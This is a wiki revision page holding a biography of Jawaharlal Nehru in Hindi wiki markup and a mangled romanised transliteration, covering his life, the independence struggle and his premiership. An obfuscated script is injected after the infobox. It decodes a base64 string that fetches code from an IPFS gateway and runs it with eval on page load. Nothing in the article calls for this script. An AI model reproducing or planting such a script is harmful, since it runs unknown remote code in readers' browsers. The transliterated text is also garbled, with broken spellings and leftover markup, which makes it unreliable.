Difference between revisions of "जवाहरलाल नेहरू"
| [unchecked revision] | [unchecked revision] |
| Line 37: | Line 37: | ||
==जन्म== | ==जन्म== | ||
| + | [[चित्र:Teen Murti Bhavan.jpg|तीन मूर्ति भवन, जवाहरलाल नेहरू का निवास, दिल्ली<br /> Teen Murti Bhavan, Nehru's Residence |thumb|left]] | ||
नेहरू कश्मीरी ब्राह्मण परिवार के थे, जो अपनी प्रशासनिक क्षमताओं तथा विद्वत्ता के लिए विख्यात थे और जो 18वीं शताब्दी के आरंभ में इलाहाबाद आ गये थे। इनका जन्म [[इलाहाबाद]] में 14 नवम्बर 1889 ई॰ को हुआ। वे [[पं॰ मोतीलाल नेहरू]] और श्रीमती स्वरूप रानी के एकमात्र पुत्र थे। अपने सभी भाई-बहनों में, जिनमें दो बहनें थीं, जवाहरलाल सबसे बड़े थे। उनकी बहन विजयलक्ष्मी पंडित बाद में संयुक्त राष्ट्र महासभा की पहली महिला अध्यक्ष बनीं। | नेहरू कश्मीरी ब्राह्मण परिवार के थे, जो अपनी प्रशासनिक क्षमताओं तथा विद्वत्ता के लिए विख्यात थे और जो 18वीं शताब्दी के आरंभ में इलाहाबाद आ गये थे। इनका जन्म [[इलाहाबाद]] में 14 नवम्बर 1889 ई॰ को हुआ। वे [[पं॰ मोतीलाल नेहरू]] और श्रीमती स्वरूप रानी के एकमात्र पुत्र थे। अपने सभी भाई-बहनों में, जिनमें दो बहनें थीं, जवाहरलाल सबसे बड़े थे। उनकी बहन विजयलक्ष्मी पंडित बाद में संयुक्त राष्ट्र महासभा की पहली महिला अध्यक्ष बनीं। | ||
| Line 43: | Line 44: | ||
==परिवार== | ==परिवार== | ||
| − | |||
भारत लौटने के चार वर्ष बाद मार्च 1916 में नेहरू का विवाह [[कमला नेहरू|कमला कौल]] के साथ हुआ, जो [[दिल्ली]] में बसे कश्मीरी परिवार की थीं। उनकी अकेली संतान [[इंदिरा गाँधी|इंदिरा प्रियदर्शिनी]] का जन्म 1917 में हुआ; बाद में वह, विवाहोपरांत नाम 'इंदिरा गांधी', भारत की प्रधानमंत्री बनीं। तथा एक पुत्र प्राप्त हुआ, जिसकी शीघ्र ही मृत्यु हो गयी थी। | भारत लौटने के चार वर्ष बाद मार्च 1916 में नेहरू का विवाह [[कमला नेहरू|कमला कौल]] के साथ हुआ, जो [[दिल्ली]] में बसे कश्मीरी परिवार की थीं। उनकी अकेली संतान [[इंदिरा गाँधी|इंदिरा प्रियदर्शिनी]] का जन्म 1917 में हुआ; बाद में वह, विवाहोपरांत नाम 'इंदिरा गांधी', भारत की प्रधानमंत्री बनीं। तथा एक पुत्र प्राप्त हुआ, जिसकी शीघ्र ही मृत्यु हो गयी थी। | ||
| Line 50: | Line 50: | ||
==राजनीतिक प्रशिक्षण== | ==राजनीतिक प्रशिक्षण== | ||
| + | [[चित्र:Jawaharlal-Nehru-And-Mahatma-Gandhi.jpg|thumb|जवाहरलाल नेहरू और [[महात्मा गाँधी]] <br /> Jawaharlal Nehru and Mahatma Gandhi|left]] | ||
भारत लौटने के बाद नेहरू ने पहले वकील के रूप में स्थापित होने का प्रयास किया लेकिन अपने पिता के विपरीत उनकी इस पेशे में कोई ख़ास रुची नहीं थी और उन्हें वकालत और वकीलों का साथ, दोनों ही नापसंद थे। उस समय वह अपनी पीढ़ी के कई अन्य लोगों की भांति भीतर से एक ऐसे राष्ट्रवादी थे, जो अपने देश की आज़ादी के लिए बेताब हो, लेकिन अपने अधिकांश समकालीनों की तरह उसे हासिल करने की ठोस योजनाएं न बना पाया हो। | भारत लौटने के बाद नेहरू ने पहले वकील के रूप में स्थापित होने का प्रयास किया लेकिन अपने पिता के विपरीत उनकी इस पेशे में कोई ख़ास रुची नहीं थी और उन्हें वकालत और वकीलों का साथ, दोनों ही नापसंद थे। उस समय वह अपनी पीढ़ी के कई अन्य लोगों की भांति भीतर से एक ऐसे राष्ट्रवादी थे, जो अपने देश की आज़ादी के लिए बेताब हो, लेकिन अपने अधिकांश समकालीनों की तरह उसे हासिल करने की ठोस योजनाएं न बना पाया हो। | ||
====गाँधी जी से मुलाकात==== | ====गाँधी जी से मुलाकात==== | ||
| − | |||
1916 ई॰ के [[लखनऊ]] अधिवेशन में वे सर्वप्रथम [[महात्मा गाँधी]] के सम्पर्क में आये। गांधी उनसे 20 साल बड़े थे। दोनों में से किसी ने भी आरंभ में एक-दूसरे को बहुत प्रभावित नहीं किया। बहरहाल, 1929 में कांग्रेस के ऐतिहासिक लाहौर अधिवेशन का अध्यक्ष चुने जाने तक नेहरू भारतीय राजनीति में अग्रणी भूमिका में नहीं आ पाए थे। इस अधिवेशन में भारत के राजनीतिक लक्ष्य के रूप में संपूर्ण स्वराज्य की घोषणा की गई। उससे पहले मुख्य लक्ष्य औपनिवेशिक स्थिति की माँग था। नेहरू जी के शब्दों में:-<br /><blockquote><span style="color: #8080e3">कुटिलता की नीति अन्त में चलकर फायदेमन्द नहीं होती। हो सकता है कि अस्थायी तौर पर इससे कुछ फायदा हो जाए। | 1916 ई॰ के [[लखनऊ]] अधिवेशन में वे सर्वप्रथम [[महात्मा गाँधी]] के सम्पर्क में आये। गांधी उनसे 20 साल बड़े थे। दोनों में से किसी ने भी आरंभ में एक-दूसरे को बहुत प्रभावित नहीं किया। बहरहाल, 1929 में कांग्रेस के ऐतिहासिक लाहौर अधिवेशन का अध्यक्ष चुने जाने तक नेहरू भारतीय राजनीति में अग्रणी भूमिका में नहीं आ पाए थे। इस अधिवेशन में भारत के राजनीतिक लक्ष्य के रूप में संपूर्ण स्वराज्य की घोषणा की गई। उससे पहले मुख्य लक्ष्य औपनिवेशिक स्थिति की माँग था। नेहरू जी के शब्दों में:-<br /><blockquote><span style="color: #8080e3">कुटिलता की नीति अन्त में चलकर फायदेमन्द नहीं होती। हो सकता है कि अस्थायी तौर पर इससे कुछ फायदा हो जाए। | ||
अगर हम इस देश की गरीबी को दूर करेंगे, तो कानूनों से नहीं, शोरगुल मचाके नहीं, शिकायत करके नहीं, बल्कि मेहनत करके। एक-एक आदमी बूढ़ा और छोटा, मर्द , औरत और बच्चा मेहनत करेगा। हमारे सामने आराम नहीं है।</span></blockquote> | अगर हम इस देश की गरीबी को दूर करेंगे, तो कानूनों से नहीं, शोरगुल मचाके नहीं, शिकायत करके नहीं, बल्कि मेहनत करके। एक-एक आदमी बूढ़ा और छोटा, मर्द , औरत और बच्चा मेहनत करेगा। हमारे सामने आराम नहीं है।</span></blockquote> | ||
Revision as of 12:52, 31 May 2010
javaharalal neharoo
| |
| any nam | chacha neharoo, pandit ji |
| janm | 14 navambar 1889 |
| janm bhoomi | ilahabad, uttar pradesh |
| mrityu | 27 mee 1964 |
| mrityu sthan | dilli |
| mrityu karan | dil ka daura |
| pati/patni | kamala neharoo |
| santan | iandira gaandhi |
| smarak | shaantivan, dilli |
| parti | kaangres |
| pad | bharat ke pradhanamantri |
| kary kal | 15 agast 1947-27 mee 1964 |
| shiksha | bairistar |
| vidyalay | ianglaind ke hairo skool, keanbrij ke triniti k aaulej |
| bhasha | hindi, aangrezi |
| jel yatra | nau bar jel yatra ki |
| puraskar-upadhi | bharat ratn samman |
| vishesh yogadan | lekhan, svadhinata sagram, bharat ke pratham pradhanamantri |
| sanbandhit lekh | jaliyaanvala bag, iandira gaandhi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
parichay
javaharalal neharoo bharatiy svatantrata sangram ke mahan senani evan svatantr bharat ke pratham pradhan mantri (1947-640) the. javahar lal neharoo, sansadiy sarakar ki sthapana aur videshi mamaloan mean 'gutanirapeksh' nitiyoan ke lie vikhyat hue. 1930 aur 1940 ke dashak mean bharat ke svatantrata aandolan ke pramukh netaoan mean se vah ek the.
janm
tin moorti bhavan, javaharalal neharoo ka nivas, dilli
Teen Murti Bhavan, Nehru's Residence |thumb|left
neharoo kashmiri brahman parivar ke the, jo apani prashasanik kshamataoan tatha vidvatta ke lie vikhyat the aur jo 18vian shatabdi ke aranbh mean ilahabad a gaye the. inaka janm ilahabad mean 14 navambar 1889 ee॰ ko hua. ve pan॰ motilal neharoo aur shrimati svaroop rani ke ekamatr putr the. apane sabhi bhaee-bahanoan mean, jinamean do bahanean thian, javaharalal sabase b de the. unaki bahan vijayalakshmi pandit bad mean sanyukt rashtr mahasabha ki pahali mahila adhyaksh banian.
shiksha
unaki prarambhik shiksha ghar par hi huee 14 varsh ki ayu mean neharoo ne ghar par hi kee aangrez adhyapikaoan aur shikshakoan se shiksha prapt ki. inamean se sirf ek, fardinaiand bruks ka, jo adhe ayarish aur adhe beljiyan adhyatmajnani the, un par kuchh prabhav p da. javaharalal ke ek samadrit bharatiy shikshak bhi the, jo unhean hiandi aur sanskrit padhate the. 15 varsh ki umr mean 1905 mean neharoo ek agrani ianglish vidyalay ianglaind ke hairo skool mean bheje gaye. hairo mean dakhil hue, jahaan vah do varsh tak rahe. neharoo ka shiksha kal kisi tarah se asadharan nahian tha. aur hairo se vah keanbrij ke triniti k aaulej ge, jahaan unhoanne tin varsh tak adhyayan karake prakriti vijnan mean snatak upadhi prapt ki. unake vishay rasayanashastr, bhoogarbh vidya aur vanaspati shastr the. keanbrij chho dane ke bad landan ke inar teanpal mean do varsh bitakar unhoanne vakalat ki padhaee ki aur unake apane hi shabdoan mean pariksha uttirn karane mean unhean 'n kirti, n apakirti' mili.
parivar
bharat lautane ke char varsh bad march 1916 mean neharoo ka vivah kamala kaul ke sath hua, jo dilli mean base kashmiri parivar ki thian. unaki akeli santan iandira priyadarshini ka janm 1917 mean hua; bad mean vah, vivahoparaant nam 'iandira gaandhi', bharat ki pradhanamantri banian. tatha ek putr prapt hua, jisaki shighr hi mrityu ho gayi thi.
bairistar ke roop mean
1912 ee॰ mean ve bairistar bane aur usi varsh bharat lautakar unhoanne ilahabad mean vakalat prarambh ki. vakalat mean unaki vishesh roochi n thi aur shighr hi ve bharatiy rajaniti mean bhag lene lage. 1912 ee॰ mean unhoanne baankipur (bihar) mean hone vale bharatiy rashtriy kaangres ke adhiveshan mean pratinidhi ke roop mean bhag liya.
rajanitik prashikshan
[[chitr:Jawaharlal-Nehru-And-Mahatma-Gandhi.jpg|thumb|javaharalal neharoo aur mahatma gaandhi
Jawaharlal Nehru and Mahatma Gandhi|left]]
bharat lautane ke bad neharoo ne pahale vakil ke roop mean sthapit hone ka prayas kiya lekin apane pita ke viparit unaki is peshe mean koee khas ruchi nahian thi aur unhean vakalat aur vakiloan ka sath, donoan hi napasand the. us samay vah apani pidhi ke kee any logoan ki bhaanti bhitar se ek aise rashtravadi the, jo apane desh ki azadi ke lie betab ho, lekin apane adhikaansh samakalinoan ki tarah use hasil karane ki thos yojanaean n bana paya ho.
gaandhi ji se mulakat
1916 ee॰ ke lakhanoo adhiveshan mean ve sarvapratham mahatma gaandhi ke sampark mean aye. gaandhi unase 20 sal b de the. donoan mean se kisi ne bhi aranbh mean ek-doosare ko bahut prabhavit nahian kiya. baharahal, 1929 mean kaangres ke aitihasik lahaur adhiveshan ka adhyaksh chune jane tak neharoo bharatiy rajaniti mean agrani bhoomika mean nahian a pae the. is adhiveshan mean bharat ke rajanitik lakshy ke roop mean sanpoorn svarajy ki ghoshana ki gee. usase pahale mukhy lakshy aupaniveshik sthiti ki maang tha. neharoo ji ke shabdoan mean:-
kutilata ki niti ant mean chalakar phayademand nahian hoti. ho sakata hai ki asthayi taur par isase kuchh phayada ho jae. agar ham is desh ki garibi ko door kareange, to kanoonoan se nahian, shoragul machake nahian, shikayat karake nahian, balki mehanat karake. ek-ek adami boodha aur chhota, mard , aurat aur bachcha mehanat karega. hamare samane aram nahian hai.
samay ke sath-sath pan॰ neharoo ki ruchi bharatiy rajaniti mean badhati gayi. jaliyaanvala bag hatyakand ki jaanch mean deshabandhu chitaranjanadas evan mahatma gaandhi ke sahayogi rahe aur 1921 ke asahayog andolan mean to mahatma gaandhi ke atyadhik nikat sampark mean a gaye. yah sambandh samay ki gati ke sath-sath dridhatar hota gaya aur usaki samapti keval mahatma gaandhi ji ki mrityu se hi huee.
gaandhi ji ke anuyayi ke roop mean
neharoo ki atmakatha se bharatiy rajaniti mean unaki gahari ruchi ka pata chalata hai. unhian dinoan apane pita ko likhe ge patroan se bharat ki svatantrata mean un donoan ki saman ruchi dikhaee deti hai. lekin gaandhi se mulaqat hone tak pita aur putr mean svatantrata prapti ke lie nishchit yojanaoan ka vikas nahian hua tha. gaandhi ne unhean rajaniti mean apana anuyayi bana liya. gaandhi dvara karm par bal die jane ke gun se vah donoan prabhavit hue. mahatma gaandhi ka tark tha ki galati ki sirf nianda hi nahian, balki pratirodh bhi kiya jana chahie. isase pahale neharoo aur unake pita samakalin bharatiy rajanitijnoan ka tiraskar karate the, jinaka rashtravad, kuchh apavadoan ko chho dakar lanbe bhashanoan aur prastavoan tak simit tha. gaandhi dvara gret briten ke khilaf bina bhay ya ghrina ke l dane par zor dene se bhi javaharalal bahut prabhavit hue.
jel yatra
kaangres parti ke sath neharoo ka ju dav 1919 mean pratham vishv yuddh ke turant bad aranbh hua. is kal mean rashtravadi gatividhiyoan ki lahar zoroan par thi aur aprail 1919 ko amritasar ke narasanhar ke roop mean sarakari daman khulakar samane aya; sthaniy british sena kamaandar ne apani tuk diyoan ko nihatthe bharatiyoan ki ek sabha par goli chalane ka hukm diya, jisamean 379 log mare gaye aur kam se kam 1,200 ghayal hue. neharoo ji ke shabdoan mean:-
bharat ki seva ka arth, karo doan pi ditoan ki seva hai. isaka arth daridrata aur ajnan, aur avasar ki vishamata ka ant karana hai. hamari pidhi ke sabase b de adami ki yah akaanksha rahi hai-ki pratyek aankh ke pratyek aansoo ko poanchh diya jae. aisa karana hamari shakti se bahar ho sakata hai, lekin jab tak aansoo haian aur pi da hai, tab tak hamara kam poora nahian hoga.
1921 ke akhir mean jab kaangres parti ke pramukh netaoan aur karyakartaoan ko kuchh praantoan mean gair qanooni ghoshit kar diya gaya, tab pahali bar neharoo jel gaye. agale 24 varsh mean unhean ath bar bandi banaya gaya, jinamean se aantim aur sabase lanba bandikal, lagabhag tin varsh ka karavas joon 1945 mean samapt hua. neharoo ne kul milakar nau varsh se zyada samay jeloan mean bitaya. apane svabhav ke anuroop hi unhoanne apani jel-yatraoan ko asamany rajanitik gatividhi vale jivan ke aantaraloan ke roop mean varnit kiya hai.
vyapak kshetroan ki yatra
kaangres ke sath unaka rajanitik prashikshan 1919 se 1929 tak chala. 1923 mean aur fir 1927 mean vah do-do varsh ke lie parti ke mahasachiv bane. unaki ruchiyoan aur zimmedariyoan ne unhean bharat ke vyapak kshetroan ki yatra ka avasar pradan kiya, visheshakar unake grih pradesh sanyukt praant ka, jahaan unhean ghor garibi aur kisanoan ki badahali ki pahali jhalak mili aur jisane in mahattvapoorn samasyaoan ko door karane ki unaki mool yojanaoan ko prabhavit kiya. yadyapi unaka kuchh-kuchh jhukav samajavad ki or tha, lekin unaka sudharavad kisi nishchit dhaanche mean dhala hua nahian tha. 1926-27 mean unaki yoorop tatha soviyat sangh ki yatra ne unake arthik aur rajanitik chiantan ko poori tarah prabhavit kar diya. neharoo ji ne kaha tha:-
antarrashtriy drishti se, aj ka b da saval vishvashanti ka hai. aj hamare lie yahi vikalp hai ki ham duniya ko usake apane roop mean hi svikar karean. ham desh ko is bat ki svatantrata dete rahe ki vah apane dhang se apana vikas kare aur doosaroan se sikhe, lekin doosare us par apani koee chij nahian thopean. nishchay hi isake lie ek nee manasik vidha chahie. panchashil ya paanch siddhant yahi vidha batate haian.
marksavad aur samajavadi vicharadhara mean neharoo ki vastavik ruchi isi yatra se paida huee, yadyapi isase unake samyavadi siddhaantoan aur vyavahar ke jnan mean koee khas vriddhi nahian huee. bad mean jel yatraoan ke dauran unhean adhik gaharaee se marksavad ke adhyayan ka mauqa mila. isake siddhaantoan mean unaki ruchi thi, lekin isake kuchh tariqoan se vikarshit hone ke karan vah karl marks ki kritiyoan ko sare prashnoan ka uttar dene vale shastroan ke roop mean svikar nahian kar pae. fir bhi marksavad hi unaki arthik vicharadhara ka manadand raha, jisamean avashyakata p dane par bharatiy paristhitiyoan ke anusar pherabadal kiya gaya.
thumb|chacha neharoo bachchoan ke sath
Jawaharlal Nehru with Childrens
chacha neharoo
deshabhar mean javaharalal neharoo ka janmadin 14 navanbar bal divas ke roop mean manaya jata hai. neharoo bachchoan se behad pyar karate the aur yahi karan tha ki unhean pyar se chacha neharoo bulaya jata tha.
radhakrishnan ke shabdoan mean
'javahar lal neharoo hamari pidhi ke ek mahanatam vyakti the. vah ek aise advitiy rajanitijn the, jinaki manav-mukti ke prati sevaean chirasmaraniy raheangi. svadhinata-sangram ke yoddha ke roop mean vah yashasvi the aur adhunik bharat ke nirman ke lie unaka aanshadan abhootapoorv tha.'
akhil bharatiy kaangres samiti
vah mahatma gaandhi ke kandhe se kandha milakar aangrejoan ke khilaf l de. chahe asahayog aandolan ki bat ho ya phir namak satyagrah ya phir 1942 ke bharat chho do aandolan ki bat ho unhoanne gaandhi ji ke har aandolan mean badh-chadh kar bhag liya. malik ne bataya ki neharoo ki vishv ke bare mean janakari se gaandhi ji kaphi prabhavit the aur isilie ajadi ke bad vah unhean pradhanamantri pad par dekhana chahate the. sanh 1920 mean unhoanne uttar pradesh ke pratapagadh jile mean pahale kisan march ka ayojan kiya. 1923 mean vah akhil bharatiy kaangres samiti ke mahasachiv chune ge.
pahala chunav prachar
desh ke pahale pradhanamantri javaharalal neharoo ka pahala chunav prachar bhi yadagar hai. ek kameantetar ke mutabik kaangres ka chunav prachar keval neharoo par kendrit tha. chunav mean neharoo ne s dak, rel, pani aur havaee jahaj sabhi ka sahara liya. unhoanne 25,000 mil ki doori tay ki. 18,000 mil havaee jahaj se, 5200 mil kar se, 1600 mil tren se aur 90 mil nav se. chunav ayog ke lie rahat ki bat ye thi ki niraksharata ke bavajood poore desh mean 60 pratishat votiang huee. jabaki pahale lokasabha chunavoan mean kaangres ko sabase jyada 364 sitean mili thi.
bharat ki svatantrata ke lie sangharsh
| varsh | ghatana kram |
|---|---|
| 1889 | 14 navanbar janm ilahabad uttar pradesh |
| 1912 | ilahabad uchch nyayalay ki bar ki sadasyata |
| 1916 | 8 faravari shrimati kamala neharoo se vivah |
| 1917 | 19 navanbar iandira gaandhi ka janm |
| 1921 | pahali bar jel gaye |
| 1923 | pita motilal neharoo ne kaangres chho d di. |
| 1924 | ilahabad mahanagar palika ke adhyaksh bane |
| 1926 | yoorop ki yatra ki |
| 1929 | kaangres ke adhyaksh chune gaye |
| 1929 | kaangres ke adhyaksh chune gaye |
| 1931 | motilal neharoo ki mrityu |
| 1944 | bharat ek khoj pustak likhi. |
| 1947 | bharat ke pratham pradhan mantri ban. |
| 1948 | gaandhi ji ki hatya. |
| 1951 | pahali panchavarshiy yojana lagoo ki. |
| 1964 | 27 mee nidhan |
saiman kamishan ke viruddh lakhanoo ke pradarshan mean unhoanne bhag liya. ek ahiansatmak satyagrahi hone par bhi unhean pulis ki lathiyoan ki gahari mar sahani p di. 1928 ee॰ mean ve bharatiy rashtriy kaangres ke mahamantri bane 1929 ke lahaur adhiveshan ke bad neharoo desh ke buddhijiviyoan aur yuvaoan ke neta ke roop mean ubhare. neharoo ji ne kaha tha:-
mere vichar mean, ham bharatavasiyoan ke lie- ek videshi bhasha ko apani sarakari bhasha ke roop mean svikarana sarasar ashobhaniy hoga. maian apako kah sakata hooan ki bahut bar jab ham log videshoan mean jate haian, aur hamean apane hi deshavasiyoan se aangreji mean batachit karani p dati hai, to mujhe kitana bura lagata hai. logoan ko bahut tajjub hota hai, aur ve hamase poochhate haian ki hamari koee bhasha nahian hai? hamean videshi bhasha mean kyoan bolana p data haian?
yah sochakar ki us samay ativadi vamapanthi dhara ki or akarshit ho rahe yuvaoan ko neharoo kaangres aandolan ki mukhyadhara mean shamil kar sakeange, gaandhi ne buddhimanipoorvak kuchh varishth netaoan ko anadekha karate hue unhean kaangres parti ka adhyaksh bana diya. mahatma ka yah akalan bhi sahi tha ki is atirikt zimmedari ke sath neharoo bhi madhyam marg par qayam raheange.
rajanaitik uttaradhikari ke roop mean
1931 mean pita ki mrityu ke bad javaharalal kaangres ki keandriy parishad mean shamil ho ge aur mahatma ke aantarang ban ge. yadyapi 1942 tak gaandhi ne adhikarik roop se unhean apana rajanaitik uttaradhikari ghoshit nahian kiya tha, par 1930 ke dashak ke madhy mean hi desh ko gaandhi ji ke svabhavik uttaradhikari ke roop mean neharoo dikhaee dene lage the. march 1931 mean mahatma aur british vaisar aauy l aaurd iravin (bad mean l aaurd hailifaiks) ke bich hue gaandhi-iravin samajhaute se bharat ke do pramukh netaoan ke bich samajhaute ka abhas milane laga. isane ek sal pahale shuroo kie ge gaandhi ke prabhavashali savinay avajna aandolan ko tezi pradan ki, jisake dauran neharoo ko giraftar kiya gaya.
golamez sammelan
yah asha ki gaandhi-iravin samajhauta bharat aur briten ke sanbandhoan mean shaanti ka poorvabhas sabit hoga, sakar nahian huee; l aaurd vailiangadan (jinhoanne vaisar aauy ke roop mean 1931 mean l aaurd iravin ka sthan liya) ne doosare golamez sammelan ke bad landan se svadesh lautane ke kuchh hi samay bad janavari 1932 mean gaandhi ko jel bhej diya. un par phir se savinay avajna aandolan shuroo karane ke prayas ka arop lagaya gaya. neharoo ko bhi gitaftar karake do sal ke karavas ki saza di gee.
praantiy svashasan
bharat mean svashasan ki sthapana ki prakriya ko age badhane ke lie landan mean hue golamez sammelanoan ki parinati aantatah 1935 ke gavarnameant aauph iandiya aikt ke roop mean huee, jisake tahat bharatiy praantoan ke lokapriy svashasi sarakar ki pranali pradan ki gee. akhirakar isase ek sanghiy pranali ka janm hua, jisamean svayattashasi praant aur rajava de shamil the. sangh kabhi astitv mean nahian aya, lekin praantiy svashasan lagoo ho gaya. neharoo ji ne kaha tha:-
ap mean jitana adhik anushasan hoga, ap mean utani hi age badhane ki shakti hogi. koee bhi desh-jisamean n to thopa gaya anushasan hai, aur n atma-anushasan-bahut samay tak nahian tik sakata.
- REDIRECT saancha:daanyabaksa
javahar lal neharoo hamari pidhi ke ek mahanatam vyakti the. vah ek aise advitiy rajanitijn the, jinaki manav-mukti ke prati sevaean chirasmaraniy raheangi. svadhinata-sangram ke yoddha ke roop mean vah yashasvi the aur adhunik bharat ke nirman ke lie unaka aanshadan abhootapoorv tha.
- REDIRECT saancha:baksaband
1930 ke dashak ke madhy mean neharoo yoorop ke ghatanakram ke prati zyada chiantit the, jo ek any vishv yuddh ki or badhata pratit ho raha tha. 1936 ke aranbh mean vah apani bimar patni ke ilaj ke lie yoorop mean the. isake kuchh hi samay bad svitzaralaiand ke ek senitoriyam mean unaki patni ki mrityu ho gee. us samay bhi unhoanne is bat par bal diya ki yuddh ki sthiti mean bharat ka sthan lokataantrik deshoan ke sath hoga, halaanki vah is bat par bhi zor dete the ki bharat ek svatantr deshoan ke roop mean hi gret briten aur fraans ke samarthan mean yuddh kar sakata hai.
kaangres aur muslim lig ke bich vivad
praantiy svayattata lagoo hone ke bad hue chunav mean adhikaansh praantoan mean kaangres parti sattaroodh huee, to neharoo duvidha mean p d ge. chunavoan mean muhammad ali jinna (jo pakistan ke janak bane) ke netritv mean muslim lig ka pradarshan achchha nahian raha. isalie kaangres ne adooradarshita dikhate hue kuchh praantoan mean muslim lig aur kaangres ki gathabandhan sarakar banane ke jinna ke anurodh ko thukara diya. is nirnay mean neharoo ki koee bhoomika nahian thi. isake phalasvaroop kaangres aur muslim lig ke bich ke vivad ne aantatah hiandoooan aur musalamanoan ke bich sangharsh ka roop le liya, jisaki parinati bharat ke vibhajan aur pakistan ke gathan ke roop mean huee.
dvitiy vishv yuddh ke dauran karavas
sitanbar 1939 mean dvitiy vishv yuddh chhi dane ke bad jab vaisar aauy l aaurd linalithago ne svayattashasi praantiy mantrimandaloan se paramarsh kie bina bharat ko yuddh mean jhoank diya, to isake virodh mean kaangres parti ke alakaman ne apane praantiy mantrimandal vapas le lie. kaangres ki is karyavahi se rajaniti ka akha da jinna aur muslim lig ke lie saf ho gaya.
vicharoan mean matabhed
yuddh ke bare mean neharoo ke vichar gaandhi se bhinn the.
- aranbh mean mahatma ka vichar tha ki aangrezoan ko bina shart samarthan diya jae aur yah samarthan ahiansak hona chahie.
- neharoo ka vichar tha ki akraman se pratiraksha mean ahiansa ka koee sthan nahian hai aur sirf ek svatantr desh ke roop mean hi bharat ko naziyoan ke khilaf yuddh mean gret briten ka sath dena chahie. agar bharat madad nahian kar sakata, to a dachan bhi n dale.
'hindi' ka mazahab se koee sambandh nahian, aur hindoostani musalaman aur eesaee usi tarah se jinda haian-jis tarah ki ek hindoo mat ka manane vala. amarika ke log, jo sabhi hindustaniyoan ko 'hindoo' kahate haian, bahut galati nahian karate agar ve 'hindi' shabd ka prayog karean, to unaka prayog bilkul thik hoga. javahar lal neharoo
aktoobar 1940 mean mahatma gaandhi ne apane mool vichar se hatakar ek simit nagarik avajna aandolan shuroo karane ka faisala kiya, jisamean bharat ki azadi ke agrani pakshadharoan ko kramanusar hissa lene ke lie chuna gaya tha. neharoo ko giraftar karake char varsh ke karavas ki saza di gee. ek varsh se kuchh adhik samay tak zel mean rahane ke bad unhean any kaangresi qaidiyoan ke sath riha kar diya gaya. isake tin din bad havaee mean parl harabar par bamabari huee. 1942 ki basant rritu mean, jab japan ne barma (vartaman myaanmar) ke raste bharat ki simaoan par hamala kiya, to is ne sainik khatare ke maddenazar british sarakar ne bharat ki taraf tho da hath badhane ka faisala kiya. pradhanamantri vinstan charchil ne sar steford krips, jo yuddh mantrimandal ke sadasy aur rajanitik roop se neharoo ke nazadiki tatha jinna ke parichit the, ko sanvaidhanik samasyaoan ko sulajhane ke prastavoan ke sath bheja. krips ka yah abhiman asaphal raha, kyoanki gaandhi svatantrata se kam kuchh bhi svikar karane ke paksh mean nahian the.
bharat chho do prastav
kaangres parti mean ab netrivy gaandhi ke hathoan mean tha, jinhoanne aangrezoan ko bharat chho d dene ka ahvan kiya, neharoo halaanki yuddh- prayatnoan par prashn uthane mean sankoch kar rahe the, lekin gaandhi ka sath dene ke alava unake pas koee chara nahian tha. 8 agast 1942 ko muanbee mean kaangres parti dvara 'bharat chho do' prastav parit karane ke bad gaandhi ji aur neharoo samet samoochi kaangres karyakarini samiti ko giraftar karake jel bhej diya gaya. apane nauvean aur aantim karavas se neharoo 15 joon 1945 ko riha hue.
bharat aur pakistan ka vibhajan
do varsh ke bhitar bharat ko svatantr aur vibhajit hona tha. vaisar aauy l aaurd vevel dvara kaangres parti aur muslim lig ko sath lane ki aantim koshish bhi naqam rahi. is bich landan mean yuddh ke dauran sattaroodh charchil prashasan ka sthan lebar parti ki sarakar ne le liya tha. usane apane pahale kary ke roop mean bharat mean ek kaibinet mishan bheja aur bad mean l aaurd vevel ki jagah l aaurd mauantabetan ko niyukt kar diya. ab prashn bharat ki svatantrata ka nahian, balki yah tha ki isamean ek hi svatantr rajy hoga ya ek se adhik hoange. jahaan gaandhi ne vibhajan ko svikar karane se inkar kar diya. vahian neharoo ne anichchha, lekin yatharthavadita se maun sahamati de di. 15 agast 1947 ko bharat aur pakistan do alag-alag svatantr desh bane. neharoo svadhin bharat ke pahale pradhanamantri ho ge.
azad bharat ke mukhy p dav
british sansadiy pranali ko adhar man kar banae ge bharatiy sanvidhan ke tahat hua yah pahala chunav tha jisamean janata ne matadan ke adhikar ka prayog kiya. is chunav ke samay matadataoan ki kul sankhya 17 karo d 60 lakh thi jinamean se 15 fisadi sakshar the. 1952 mean pahale amachunav hue jisamean kaangres parti bhari bahumat se satta mean aee aur pandit javaharalal neharoo bharat ke pahale pradhanamantri bane. isase pahale vah 1947 mean azadi milane ke bad se aantarim pradhanamantri the. sansad ki 497 sitoan ke sath-sath rajyoan ki vidhanasabhaoan ke lie bhi chunav hue. lekin jahaan sansad mean kaangres parti ko poorn bahumat hasil hua vahian kuchh rajyoan mean ise doosare daloan se zabardast takkar mili.
kaangres parti bahumat hasil karane mean is shaharoan madras, haidarabad aur travanakor mean viphal rahi jahaan use kamyunist parti ne k di takkar di. halaanki in chunavoan mean hiandoo mahasabha aur alagavavadi sikkh akali parti ko muanh ki khani p di. pahale chunav ke bad se hi kamyunist parti aauph iandiya (sipiaee) ne dakshini rajyoan mean janasamarthan badhana shuroo kar diya jisake natije 1957 mean hue chunav mean use mile. travanakor-kochin aur malabar ko mila kar bane keral mean kamyunist parti satta mean aee.
rajyoan ka punargathan
neharoo ke samay mean ek aur aham faisala bhashaee adhar par rajyoan ke punargathan ka tha. isake lie rajy punargathan qanoon (1956) pas kiya gaya. azadi ke bad bharat mean rajyoan ki simaoan mean hua yah sabase b da badalav tha. isake tahat 14 rajyoan aur chhah keandr shasit pradeshoan ki sthapana huee. isi qanoon ke tahat keral aur b aaumbe ko rajy ka darja mila. sanvidhan mean ek naya anuchchhed jo da gaya jisake tahat bhashaee alpasankhyakoan ko unaki matribhasha mean shiksha prapt karane ka adhikar mila.
pradhanamantri ke roop mean upalabdhiyaan
